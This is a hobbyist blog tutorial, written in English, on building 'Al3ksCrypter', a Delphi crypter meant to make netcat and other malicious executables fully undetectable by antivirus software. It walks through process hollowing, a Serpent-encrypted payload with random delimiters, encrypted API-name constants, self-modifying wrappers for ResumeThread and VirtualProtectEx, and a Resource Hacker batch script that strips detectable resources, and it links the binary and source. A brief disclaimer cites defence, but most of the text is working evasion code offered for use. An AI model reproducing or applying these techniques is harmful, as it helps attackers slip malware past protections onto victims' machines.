Trao đổi với tôi


[Virus] Crypter Bypassing Antivirus how-to For Beginners

Ok my dear IT-boys, accompanied with naughty IT-girls: this is the long-promised article about how to bypass the antivirus protection. I hope you already after the previous article: Self-modifying code - short overview for beginners, so you know this-and-that about pointers, windows API, breaks, debugging, etc.

Now we gonna try to create something interesting by ourselves. We will create a fully working crypter: a program which allows to run any third-party (and potentially malicious) code the way it will not be detected by antivirus program. We are ambitious beasts, so we will "raise a bar" and try to create FUD Crypter (stands for: Fully Undetectable). :-) Still don't get it? See this video to have a taste of what this story will be about:

Before we will go further - one small reminder:

Information in this article is prepared for better understanding of malware mechanisms, developing hacker defense attitude among the users and help preventing the hacking attacks. You may experiment on your own computer ONLY, at your own risk and responsibility.

Ok, it seems you got it now. :-) Even more: you want to understand how you can do the same thing, right? But for the beginning we have to find out what is so important for the antiviruses? How they detect malware? What actually they are looking for?...

So you downloaded some warez.exe and double-clicked it. This is what happening next:

AV's Point of view

Phase one: before the malicious (or suspicious) program is executed

The first thing an antivirus is doing - it's checking if the program is packed. If it is packed - the appropriate unpacker should be used and the code and data should be expanded to memory and then disassembled. In a meantime our AV may also check and resolve an API imports so it would be known then: what API functions are used. I don't want to go deep into details what Portable Executable (or PE) format is, but generally - compiled code is copied to memory almost one-to-one as it is in the binary file. So our antivirus is looking there for a opcodes of certain API calls, speciall data strings (like: "P0wNeD by WiLd HakCer" or famous: "All your base is belong to us") and many other interesting things. Generally antivirus software is looking for a certain suspicious-looking binary code patterns or so-called "signatures". If such thing is found (a pattern or combination of patterns): our antivirus is immediately popping-up a nice red-colored window, (featuring a pride of GUI team: bug.jpg) with information that "malicious code was successfully stopped".

Phase two: while the program is running

It is obvious that some (malicious) code may be hidden, encrypted, obfuscated or even created "on-the-fly". To be able to deal with such tricks our antivirus is also capable to monitor and intercept API calls (uses hooks) and does a kind of "behavioral analysis". So if your notepad.exe for some strange reason is trying to do some "naughty" things (e.g. access memory of another process) - this means well... "something is fishy" and our famous red-colored window appears on a horizon again.

The project

This is actually a proof of concept: how surprisingly easy you may create a code which will be able to bypass antivirus protection. Our "guinea pig" will be the well-known Netcat for windows ( the cat becomes pig...). ;-) This program is good enough because it is happily detected by many antiviruses as a malware (and this is exactly what we need now).

You already know that I have no passion for reinventing a wheel, so I used one of existing projects as a template (btw, you may find hundreds of them in Internet). The original code is actually an n-th clone of Simple crypter for beginner by Xash, naturally in Delphi. Using this Crypter "as it is" nowadays is pointless because the code is old and whatever it does - is immediately detected by all modern antiviruses. The original idea however is nice and elegant. This is how it works:

You point the Crypter to your malicious software (netcat: netcat.exe) and run. The Crypter produces another executable: let's call it nc_crypted.exe. This is the structure of this file:

So the netcat is placed in the "tale" of our binary, located in between two markers. Markers are needed, because the length of the decryption routine (so called: stub) may vary and the length of the payload (in our case: netcat.exe) can be variable too. The payload may be copied as it is (which is stupid of course, because would contain dozen of signatures detected by antiviruses) or encrypted (e.g.: XOR'ed).

Now real cool stuff begins. Once you click netcat_crypted.exe, it is loaded to the computer's memory and executed. Then it creates all structures needed to run the brand new (malicious) process directly in memory. The new process is created in "suspended" state. Now our stub decrypts the netcat code, takes it as an array of bytes and fills appropriate structures prepared for the new process. By this way, the new malicious code appears in computer's memory in fully legitimate way in a kind of "frozen" condition. This can be done with or without touching the hard drive which may make detection even more difficult. Once everything is ready - it's enough to call the process and our netcat is executed!

Everything is sweet, but there is a big problem: the loader (stub) produced by the original Crypter is already "well-known" to antiviruses. :-( So we must do some modifications in the code to make the binary significantly different from the original. What people are doing often (with minimal success):

* Adding junk code for modifying execution flows.
* Changing or encrypting strings.
* Changing variable names.
* Changing the order of all code aspects.
* Adding or changing icon.

But be are tough guys, right :-) So we will try to do something even more advanced:

* We will encrypt all string variables and also the payload with industry standard data encryption algorithm (so forget about lousy XOR).
* We will obfuscate all "suspicious" API function calls.
* We will make the length of all elements of the "tail" fully variable, hence unpredictable.
* We will clean-up the final binary from all unnecessary strings and hidden resources which potentially may be treated by antiviruses as signatures.

Look at the structure of netcat_crypted.exe now:

Our final netcat_crypted.exe is slightly more complicated now, isn't it. We will be using Serpent symmetric key block cipher algorithm for data encryption. Delimiters will be random, and with various length.

We already know about runtime API address resolution from the previous article, - this knowledge will be needed in our case. API function names are acting as virus signatures (in certain combination), because they are plain strings. So we definitely need to hide them. To obfuscate API function names there was additional program written, called StringsEncoder, which can be downloaded from [here]. This is an example of processing a one string constant only (CreateProcessA):

The program of course allows automatically creating Delphi unit with all strings needed for further API resolution. Something like this:

Code :
unit untStealthLibEncryptedConstants;

stealth_api_key = 'FFFFFF';

//--- ntdll.dll
stealth_api_ntdll_dll = #151#162#78#47#246#220#236#211#180;

//--- kernel32.dll
stealth_api_kernel32_dll = #146#179#88#45#255#158#187#141#246#218#85#47;

//--- ResumeThread
stealth_api_ResumeThread = #171#179#89#54#247#151#220#215#170#219#88#39;

//--- SetThreadContext
stealth_api_SetThreadContext = #160#35#175#108#116#81#2#117#36#1#253#77#22#184#249#213;

//--- GetThreadContext
stealth_api_GetThreadContext = #74#15#91#48#30#10#90#169#42#88#179#175#66#122#117#27;

//--- ZwUnmapViewOfSection
stealth_api_ZwUnmapViewOfSection = #44#131#64#41#12#11#153#183#42#190#96#210#201#242#28#239#119#183#72#23;

//--- VirtualProtectEx
stealth_api_VirtualProtectEx = #48#159#184#128#253#89#90#127#8#170#190#50#247#131#160#5;

//--- WriteProcessMemory
stealth_api_WriteProcessMemory = #45#223#165#0#74#26#118#180#87#250#141#13#184#78#61#86#3#145;

//--- ReadProcessMemory
stealth_api_ReadProcessMemory = #238#114#76#133#179#99#51#10#144#167#177#46#40#177#109#225#87;

//--- CreateProcessA
stealth_api_CreateProcessA = #186#164#79#34#238#151#216#205#183#221#92#48#237#58;

//--- CreateProcessInternalA
stealth_api_CreateProcessInternalA = #105#137#69#61#231#85#214#72#52#80#38#81#37#7#230#72#40#30#57#152#146#21;


So our antivirus has no chance when will be searching for strings like "WriteProcessMemory" or "CreateProcessA". If only a key you would use for your build will be different: no chance for detection.

Ok, we already know that antiviruses are extremely sensitive when certain API functions are called (see the list above). And we must be able to call them to do our dirty stuff. So what can we do? The trick was explained well-enough in the previous lesson: you have to use the undocumented API functions. Those functions are very often just "wrapped" to a well-documented documented functions later.

And of course we will be creating code for all API function calls at runtime (as opcodes) - again see my previous lesson for details. Example from Delphi unit untStealthAPI:

Code :
//----------------------------------------stealth WIN API function: ResumeThread (SELF-MODIFYING)
function v_ResumeThread(hThread: cardinal): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
CreateAPIFunctionTemplate(c, 1); //--- nr of parameters = 1

WriteDwordAddress(hThread, c, 2); //--- directly copy the VALUE of the "hThread"
6, //--- this points to E8 (where CALL starts!!!)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_ResumeThread, stealth_api_key)), //--- ResumeThread
5); //--- CALL procedure length (in bytes) = 5

@dummyFunc := @c; //--- point inline dummy function to our byte array
v_VirtualProtectEx(0, @dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //--- execute our function

asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);

or another function:

Code :
//------------------------------------stealth WIN API function: VirtualProtectEx (SELF-MODIFYING)
function v_VirtualProtectEx(hProcess: THandle;
lpAddress: Pointer;
flNewProtect: DWORD;
lpflOldProtect: Pointer): boolean;
var c: TByteArray;
fResult: dword;
oldProtect: DWORD;
dummyFunc: function: Integer; //--- dummy function
CreateAPIFunctionTemplate(c, 5); //--- nr of parameters = 2

WriteDwordAddress(dword(@lpflOldProtect), c, 2); //--- directly copy the VALUE of the "lpflOldProtect" (4 bytes)
WriteDwordAddress(flNewProtect, c, 7); //--- directly copy the VALUE of the "flNewProtect" (4 bytes)
WriteDwordAddress(dwSize, c, 12); //--- directly copy the VALUE of the "dwSize" (4 bytes)
WriteDwordAddress(dword(@lpAddress), c, 17); //--- directly copy the VALUE of the "lpAddress" (4 bytes)
WriteDwordAddress(hProcess, c, 22); //--- directly copy the VALUE of the "hproces" (4 bytes)

26, //--- this points to E8 (where CALL starts)
GetProcAddressX(DecryptStringToString(stealth_api_kernel32_dll, stealth_api_key),
DecryptStringToString(stealth_api_VirtualProtectEx, stealth_api_key)), //--- VirtualProtectEx
5); //--- CALL procedure length (in bytes)

@dummyFunc := @c; //--- point inline function to our byte array
VirtualProtect(@dummyFunc, SizeOf(dummyFunc), PAGE_EXECUTE_READWRITE, @oldProtect);
dummyFunc; //execute our function

asm mov fResult, eax; end; //--- return our function's result (normally it is stored in EAX)
result := boolean(fResult);

Ok, so everything is combined together, and new shiny Crypter is built. Finally we have to use excellent third-party program Resource Hacker to remove various unneeded data (resources) from our executable. We may create a batch file of this kind:

Code :
@echo on
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", StringTable,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,DVCLAL,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", RCData,PACKAGEINFO,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Cursor,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Bitmap,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", Dialog,,
"D:\Resource Hacker\ResHacker.exe" -delete "%1", "%1", CursorGroup,,

Now the Al3ksCrypter is born! :-) You can take the [binary and the source code here].

The application is very simple but has some additional features:

* Stub may be optionally compressed by UPX.
* Payload may be ran as minimized.
* Additional command line parameters may be provided. Your payload will be automatically executed with them (e.g.: port number and optional parameters for netcat listener).

You already being seeing the film how the tool works, now I just would show the final screen (here is [direct link to report]):


Think twice when you click on any file from untrusted source and for god's sake: DO NOT RELY on your antivirus.

P.S.: I would appreciate your feedback, so don't hesitate to contact me with your comments and also if you want to add something to the article. Note that this is easy article, so we are not going deep into details in purpose.

No comments:

Post a Comment